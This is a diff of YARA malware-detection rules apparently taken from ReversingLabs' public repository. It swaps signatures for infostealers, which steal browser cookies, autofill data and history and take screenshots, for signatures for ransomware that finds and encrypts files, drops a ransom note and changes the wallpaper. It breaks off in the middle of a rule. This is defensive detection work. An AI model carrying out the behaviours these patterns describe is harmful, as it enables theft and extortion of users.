B3 ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 48 89 C6 48 + 89 D7 48 85 C0 74 ?? 48 85 FF 0F 85 ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 8B ?? ?? ?? ?? + 48 8D 93 ?? ?? ?? ?? 4C 8D 83 ?? ?? ?? ?? 49 89 F1 E8 ?? ?? ?? ?? 48 83 BB ?? ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? 48 8B BB ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? + ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48 89 05 ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 } - $get_browser_cookies = { - 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 07 73 ?? ?? - ?? ?? 0D 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 0A 16 06 17 DA 13 ?? - 13 ?? 38 ?? ?? ?? ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 - ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? - 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? - 16 2B ?? 17 00 13 ?? 11 ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 14 (FE | 01) ?? 13 ?? - 11 ?? 2C ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 00 - 08 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 11 ?? A2 00 11 ?? 17 72 ?? ?? ?? ?? A2 00 11 - ?? 18 11 ?? A2 00 11 ?? 19 72 ?? ?? ?? ?? A2 00 11 ?? 1A 11 ?? A2 00 11 ?? 1B 72 ?? - ?? ?? ?? A2 00 11 ?? 1C 11 ?? A2 00 11 ?? 1D 72 ?? ?? ?? ?? A2 00 11 ?? 1E 11 ?? A2 - 00 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 00 11 - ?? 17 D6 13 ?? 11 ?? 11 ?? 13 ?? 11 ?? 3E ?? ?? ?? ?? 17 8D ?? ?? ?? ?? 13 ?? 11 ?? - 16 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 08 6F ?? - ?? ?? ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE + $encrypt_files_p2 = { + C6 48 89 38 4C 8D 35 ?? ?? ?? ?? 48 83 BB ?? ?? ?? ?? ?? 74 ?? 4C 8B 83 ?? ?? ?? ?? + 48 8B 0D ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8B 8B ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 48 85 F6 0F 84 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D B3 ?? ?? + ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D 3D ?? ?? ?? ?? 4C 89 BB ?? ?? ?? ?? 48 8D 05 ?? ?? + ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? + ?? ?? ?? 48 8D BB ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? + 48 8D 8B ?? ?? ?? ?? 48 8D 93 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B B3 ?? ?? ?? ?? 48 8B + 93 ?? ?? ?? ?? 4C 8B A3 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 48 8B 0D + ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 89 BB ?? ?? ?? + ?? 48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D + 35 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 4C 8D B3 ?? ?? + ?? ?? 4C 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? + ?? ?? ?? 48 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? + ?? ?? 48 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 65 48 8B + 14 25 ?? ?? ?? ?? 48 8B 0C CA 48 8D 89 ?? ?? ?? ?? 48 39 C8 75 ?? 8B 05 ?? ?? ?? ?? + FF C0 75 ?? 48 8D 0D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 } - $take_screenshot = { - 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 28 - ?? ?? ?? ?? 0A 06 12 ?? 16 16 28 ?? ?? ?? ?? 00 11 ?? 12 ?? 16 16 28 ?? ?? ?? ?? 00 - 11 ?? 08 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 07 6F ?? ?? - ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE + $drop_ransom_note = { + 48 8D 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 + 89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 4C 8B 84 24 ?? ?? ?? ?? 48 8B 0D ?? ?? + ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 + F1 E8 ?? ?? ?? ?? 48 85 C0 4C 8B 74 24 ?? 74 ?? 48 89 C5 4C 8B 6C 24 ?? E9 ?? ?? ?? + ?? 4D 8D 0C D1 49 83 C1 ?? 48 C1 E2 ?? 48 F7 DA 4F 8D 14 C2 49 83 C2 ?? 49 C1 E0 ?? + 49 F7 D8 45 31 DB 4C 39 DA 0F 84 ?? ?? ?? ?? 4D 39 D8 0F 84 ?? ?? ?? ?? 4B 8B 34 19 + 4F 8B 34 1A 4C 39 F6 0F 82 ?? ?? ?? ?? 49 83 C3 ?? 4C 39 F6 76 ?? E9 ?? ?? ?? ?? 48 + 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24 + ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 4C + 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? + ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 + C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 89 F2 E8 ?? + ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F0 FF 15 + ?? ?? ?? ?? 48 85 ED 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48 + 8D 9C 24 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? + ?? 41 B8 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 48 8B + 8C 24 ?? ?? ?? ?? 48 85 C9 74 } - $get_antivirus_information = { - 7E ?? ?? ?? ?? 0B 00 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? - 1B (FE | 02) ?? 72 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? - 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? - 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 00 11 ?? 6F ?? ?? ?? ?? - 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 00 08 11 ?? 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 28 - ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 08 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 0C DE ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? - 11 ?? 3A ?? ?? ?? ?? 00 DE ?? 11 ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? - 11 ?? 6F ?? ?? ?? ?? 00 00 DC 08 0B DE ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 - 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 07 17 8D ?? ?? ?? ?? 13 ?? 11 ?? - 16 1F ?? 9D 11 ?? 6F ?? ?? ?? ?? 17 9A 16 8D ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 8D ?? ?? - ?? ?? 6F ?? ?? ?? ?? 0B 00 07 0A 2B ?? 06 + $change_desktop_wallpaper = { + 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? + ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 F6 74 + ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D + 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 85 C0 4C + 8B 74 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B B4 24 ?? ?? + ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C + 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 F2 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? + ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D + 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D + ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B B4 24 ?? + ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA 4D 89 F0 E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? + ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 89 C1 83 E1 ?? 83 F9 ?? 0F 85 ?? ?? + ?? ?? 48 8D 58 ?? 4C 8B 70 ?? 48 8B 68 ?? 4C 89 F1 FF 55 } - $get_browser_history = { - 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 07 73 ?? ?? - ?? ?? 0D 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 0A 16 06 17 DA 13 ?? - 13 ?? 2B ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 - 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 00 11 ?? 17 - D6 13 ?? 11 ?? 11 ?? 13 ?? 11 ?? 31 ?? 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? - ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? - ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE + $find_files_p1 = { + 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? + ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 FF 74 + ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? + ?? ?? ?? 66 0F EF C0 F3 0F 7F 84 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C5 4C 8B 6C 24 ?? 4C 8B + 74 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 8B + 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 29 E8 48 39 F0 72 ?? 48 8B 8C 24 ?? ?? + ?? ?? 48 01 E9 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 01 F5 48 89 AC 24 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 48 C1 ED ?? 74 ?? 41 BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 83 FF ?? 72 ?? 48 85 + DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 EA 49 89 F0 E8 + ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? EB ?? 4C 89 FB 4C 89 F0 4D 85 FF 74 ?? 49 89 DC + 48 8B 44 D8 ?? 48 85 C0 74 ?? 48 0F BD C0 48 83 F0 ?? EB ?? 45 31 E4 EB ?? B8 ?? ?? + ?? ?? 49 C1 E4 ?? 49 83 CC ?? 49 29 C4 49 C1 EC ?? 48 8B B4 24 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 89 F1 45 31 C0 E8 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 49 89 C7 49 83 FC + } + $find_files_p2 = { + 73 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? E9 ?? + ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 68 + ?? 49 8D 5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 EA 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 + 8B 44 24 ?? F3 41 0F 6F 07 41 0F 10 4F ?? 0F 11 48 ?? F3 0F 7F 40 ?? 49 8D 4C 24 ?? + 48 39 D9 0F 83 ?? ?? ?? ?? 4D 89 E5 4C 8D 60 ?? 49 8D 4D ?? 43 C6 44 2C ?? ?? 48 39 + CB 0F 82 ?? ?? ?? ?? 43 0F 11 74 2C ?? 43 0F 11 7C 2C ?? 48 C7 44 24 ?? ?? ?? ?? ?? + 4C 89 E1 48 89 DA 48 8B B4 24 ?? ?? ?? ?? 49 89 F0 49 89 E9 E8 ?? ?? ?? ?? 48 89 5C + 24 ?? BA ?? ?? ?? ?? 48 89 E9 49 89 F0 4D 89 E1 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? + 31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E9 E8 ?? + ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C3 48 8D B4 24 ?? ?? ?? ?? 48 89 C1 48 8B + 54 24 ?? 4D 89 E8 E8 } condition: - uint16( 0 ) == 0x5A4D and ( $get_browser_autofill_data ) and ( $get_browser_cookies ) and ( $take_screenshot ) and ( $get_antivirus_information ) and ( $get_browser_history ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) and ( $change_desktop_wallpaper ) } -rule REVERSINGLABS_Win32_Infostealer_Stealc : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Apis : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects StealC infostealer." + description = "Yara rule that detects Apis ransomware." author = "ReversingLabs" - id = "b53bbf15-3e94-513c-91a9-83dda421063b" - date = "2023-06-07" - modified = "2023-06-07" + id = "63791250-e21e-53d1-932c-9b5d16a7cad9" + date = "2021-11-25" + modified = "2021-11-25" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/Win32.Infostealer.StealC.yara#L1-L57" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Apis.yara#L1-L75" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bea1cf370150387eb185deff726e10e660e7eb571c20d22878def08b36f457bf" + logic_hash = "0915469884a268f124da348d6a182eb4a0f69063d4041b46628794ab011227ef" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Infostealer" - tc_detection_name = "StealC" + tc_detection_type = "Ransomware" + tc_detection_name = "Apis" tc_detection_factor = 5 importance = 25 strings: - $resolve_windows_api = { - 55 8B EC 51 83 65 ?? ?? 56 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 00 8B 40 ?? - 89 45 ?? 8B 75 ?? 89 35 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 + $find_files = { + 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0A 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 2C ?? 06 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E + 69 32 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? + 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 + ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E + ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? + 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ?? + ?? ?? 08 28 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 + ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? + 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A } - $load_sqlite3_functions = { - 55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 50 89 45 ?? 89 4D ?? 8B 4D ?? 8D - 45 ?? 50 89 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 45 ?? 57 89 45 ?? 8B 7D ?? - B9 ?? ?? ?? ?? 33 C0 F3 AA 5F 33 C0 C9 C3 8B 45 ?? 85 C0 74 ?? 53 8B 58 ?? 56 8B 70 - ?? FF 35 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? - A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? - ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 + $encrypt_files = { + 02 28 ?? ?? ?? ?? 0A 17 0B 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 08 9A 28 + ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 11 ?? FE 06 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 + ?? ?? ?? ?? 06 08 9A 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F + ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 2F ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? + 18 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? + 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1A 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A + 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 2C ?? 16 0B 02 72 ?? ?? ?? ?? 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 08 17 58 0C 08 06 8E + 69 3F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ?? + 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 2A } - $check_license_expiration_date = { - 55 8B EC 83 E4 ?? 83 EC ?? 57 33 C0 66 89 44 24 ?? 83 64 24 ?? ?? 8D 7C 24 ?? AB AB - AB 66 AB 33 C0 66 89 44 24 ?? 8D 7C 24 ?? AB AB AB 66 AB 33 C0 21 44 24 ?? 8D 7C 24 - ?? AB 8D 7C 24 ?? AB 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 8D - 4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? - 8B 44 24 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? - 8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 3B 44 24 ?? 72 ?? 77 ?? - 8B 44 24 ?? 3B 44 24 ?? 76 ?? 6A ?? FF 15 ?? 